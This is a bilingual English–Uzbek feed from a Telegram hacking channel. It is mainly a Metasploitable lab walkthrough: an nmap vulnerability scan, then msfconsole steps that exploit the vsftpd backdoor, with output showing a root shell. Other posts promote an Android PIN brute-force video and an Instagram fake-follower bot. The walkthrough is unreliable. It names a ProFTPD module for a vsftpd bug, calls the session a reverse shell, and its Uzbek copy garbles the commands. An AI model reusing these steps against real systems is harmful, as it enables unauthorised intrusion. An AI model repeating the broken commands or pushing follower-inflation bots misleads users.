#128day

Introduction & Teaser

@python_for_hacking

Python For Hacking 128day courser. New version 🔥🔥🔥🔥🔥

#128day

Packet sniffer
Introduction & Teaser

@python_for_hacking

#128day

Sniffing Packets Using Scapy

@python_for_hacking

🏟 Car Hacking with Python 🏟

#blog

➼ https://medium.com/bugbountywriteup/car-hacking-with-python-part-1-data-exfiltration-gps-and-obdii-can-bus-69bc6b101fd1


━━━━━━━━━━━━━
@python_for_hacking

#128day

Refactoring & Housekeeping

@python_for_hacking

Junatib qoyamiz🔥🫡

✉️ What is an SMTP Server ? ✉️

SMTP stands for Simple Mail Transfer Protocol, a TCP/IP protocol used by professional and free SMTP servers to send, receive, and relay messages across the web.

✉️ SMTP serveri nima? ✉️

SMTP oddiy pochta uzatish protokoli degan ma'noni anglatadi, bu TCP/IP protokoli bo'lib, professional va bepul SMTP serverlari tomonidan Internet bo'ylab xabarlarni yuborish, qabul qilish va uzatish uchun ishlatiladi.

Toʻliq👇
https://bit.ly/3FZ2gBG

@python_for_hacking

#best🔥

Hacking into Android in 32 seconds | HID attack | Metasploit | PIN brute force PoC

@python_for_hacking

#free #followers

How to Increase Followers Likes on Instagram 2023 | Free Instagram Bot Python (10K FAST)

Instagramga python da yozilagan telegram bot orqali nakrutka uring😼🔥

@python_for_hacking

#algoritm

Create a function that takes two numbers as arguments (num, length) and returns a list of multiples of num until the list length reaches length.

Argument sifatida ikkita raqamni (son, uzunlik) oladigan va roʻyxat uzunligi uzunlikka yetguncha son koʻpaytmalari roʻyxatini qaytaradigan funksiya yarating.

Coomment👇

#david_bombal

Hacking networks with Python // Creating malicious packets and breaking TCP/IP rules

@python_for_hacking

🆘Metasploitable: Attack example🆘

Asap everyone! Since it is illegal to hack other people's computers and the smell of vulnerabilities attracts just like blood for a vampire, it makes sense to organize a small, modest pentest laboratory on your network.

There are many applications that can help you test your skills or try to improve them in every possible way. They are BWapp, Damn Vulnerable Web Application (DVWA), a huge number of CTF competitions and much more.

#Metasploitable
However, today we are downloading an entire virtual machine. Go here https://sourceforge.net/projects/metasploitable/ and just wait for the download to complete. I hope I don't have to teach you how to create a virtual machine. In short, I will say that I prefer Oracle VirtualBox. It's free and very cool. We create a machine with ubutu 64x and connect the virtual disk that we have to it.

#Disclaimer
Small disclaimer. Friends, everything that will be told in this post is shown solely for your self-education and nothing else. If you want to hack something, become a pentester or go through the CTF. Never use knowledge to the detriment of others!

Oh, and by the way. Create a network bridge on your computer. Nothing will work through NAT. Now that everything is ready, we start the machine and enter it using the data msfadmin:msfadmin.

Now let's go to Kali Linux and see what happens there.

#Nmap
I would love to use normal vulnerability scanners like Nessus or OpenVas, but we will use nmap, which already has scripts to detect vulnerabilities. By the way, they do not work through a proxy or tor, so in order to hack something you will have to know by heart how this or that web service is operated.

Go. We go into metasploitable and look at our local ip address. In my case it is 192.168.1.131.

#Start scan
We write the following command in kali linux:
sudo nmap -sV -Pn --script vulners 192.168.1.131
The sV flag means that we will get additional information about the name of the service behind the port and its patch version.
The Pn flag means that we will not send ping requests and will treat all hosts as if they are online, skip host discovery.

#Vulnerability selection
After a couple of seconds, we see a huge number of vulnerabilities. We are interested in the highest. Let's take CVE-2011-2523 as an example.

#msfconsole
Google everything about the vulnerability and at the same time open msfconsole and write:

💣search ftp

💣use exploit unix/ftp/proftpd133cbackdoor

Select payload. I chose cmd/unix/interact.

💣Set payload payload/cmd/interact.

💣set RHOSTS 192.168.1.131

Here, as you understand, ip metasploitable in LAN.

💣Exploit

And we see the following:
192.168.1.131:21 - Banner: 220 (vsFTPd 2.3.4)
* 192.168.1.131:21 - USER: 331 Please specify the password.
+ 192.168.1.131:21 - Backdoor service has been spawned, handling...
+ 192.168.1.131:21 - UID: uid=0(root) gid=0(root)
* Found shell.
* Command shell session 1 opened (192.168.1.15:39957 -> 192.168.1.131:6200)

And here you have a reverse shell. And she's even a root shell! So no privilege escalation is needed.

Of course, I chose the vulnerability that you can’t find anywhere else, but in the next post we will look at something more real. Thanks everyone and see you soon!


🆘Metasploitable: Hujum misoli🆘

Hammaga tezroq! Boshqa odamlarning kompyuterlarini buzish noqonuniy ekanligi va zaifliklarning hidi xuddi vampir uchun qon kabi jalb qilinganligi sababli, tarmog'ingizda kichik, oddiy pentest laboratoriyasini tashkil qilish mantiqan.

Ko'nikmalaringizni sinab ko'rishga yoki ularni har tomonlama yaxshilashga yordam beradigan ko'plab ilovalar mavjud. Bular BWapp, Damn Vulnerable Web Application (DVWA), ko'plab CTF musobaqalari va boshqalar.

#Metasploitable
Biroq, bugun biz butun virtual mashinani yuklab olamiz. Bu yerga o'ting https://sourceforge.net/projects/metasploitable/ va yuklab olish tugashini kuting. Umid qilamanki, sizga virtual mashina yaratishni o'rgatishim shart emas. Qisqasi, men Oracle VirtualBox-ni afzal ko'rganimni aytaman. Bu bepul va juda ajoyib.

Biz ubutu 64x bilan mashina yaratamiz va unga ega bo'lgan virtual diskni ulaymiz.

#Ogohlantirish
Kichik rad etish. Do'stlar, bu postda aytiladigan hamma narsa faqat o'z-o'zini tarbiyalash uchun ko'rsatilgan va boshqa hech narsa emas. Agar biror narsani buzmoqchi bo'lsangiz, pentester bo'ling yoki CTFdan o'ting. Hech qachon bilimdan boshqalarning zarariga foydalanmang!

Oh, va aytmoqchi. Kompyuteringizda tarmoq ko'prigi yarating. NAT orqali hech narsa ishlamaydi. Endi hamma narsa tayyor, biz mashinani ishga tushiramiz va msfadmin: msfadmin ma'lumotlari yordamida kiritamiz.

Endi Kali Linux-ga boramiz va u erda nima sodir bo'lishini ko'ramiz.

#Nmap
Men Nessus yoki OpenVas kabi oddiy zaiflik skanerlaridan foydalanishni istardim, lekin biz zaifliklarni aniqlash uchun skriptlarga ega bo'lgan nmap-dan foydalanamiz. Aytgancha, ular proksi yoki tor orqali ishlamaydi, shuning uchun biror narsani buzish uchun siz u yoki bu veb-xizmat qanday ishlashini yoddan bilishingiz kerak bo'ladi.

Bor. Biz metasploitable-ga o'tamiz va mahalliy IP manzilimizga qaraymiz. Mening holimda bu 192.168.1.131.

#Skanerlashni boshlang
Biz kali linuxda quyidagi buyruqni yozamiz:
sudo nmap -sV -Pn --skript zaiflari 192.168.1.131
sV bayrog'i biz port ortidagi xizmat nomi va uning yamoq versiyasi haqida qo'shimcha ma'lumot olishimizni bildiradi.
Pn bayrog'i biz ping so'rovlarini yubormasligimizni va barcha xostlarga ular onlayn bo'lgandek munosabatda bo'lishini anglatadi, xostni topishni o'tkazib yuboradi.

# Zaiflikni tanlash
Bir necha soniyadan so'ng biz juda ko'p zaifliklarni ko'ramiz. Bizni eng yuqori narsa qiziqtiradi. Misol tariqasida CVE-2011-2523 ni olaylik.

#msfconsole
Zaiflik haqida hamma narsani Google-da toping va shu bilan birga msfconsole-ni oching va yozing:

💣ftp dan qidirish

💣exploit unix/ftp/proftpd133cbackdoor dan foydalaning

Foydali yukni tanlang. Men cmd/unix/interact ni tanladim.

💣Foydali yuk/cmd/interactni sozlang.

💣RHOSTS 192.168.1.131 o'rnating

Bu erda, siz tushunganingizdek, LANda IP metasploiable.

💣Espluatatsiya qilish

Va biz quyidagilarni ko'ramiz:
192.168.1.131:21 - Banner: 220 (vsFTPd 2.3.4)
* 192.168.1.131:21 - FOYDALANUVCHI: 331 Parolni kiriting.
+ 192.168.1.131:21 - Backdoor xizmati yaratildi, ishlov berish...
+ 192.168.1.131:21 - UID: uid=0(root) gid=0(root)
* Topilgan qobiq.
* Buyruqning 1-qobiq seansi ochildi (192.168.1.15:39957 -> 192.168.1.131:6200)

Va bu erda sizda teskari qobiq bor. Va u hatto ildiz qobig'i! Shunday qilib, imtiyozlarni oshirish kerak emas.

Albatta, men boshqa joyda topa olmaydigan zaiflikni tanladim, ammo keyingi postda biz haqiqiyroq narsani ko'rib chiqamiz. Hammaga rahmat va tez orada ko'rishguncha!

@python_for_hacking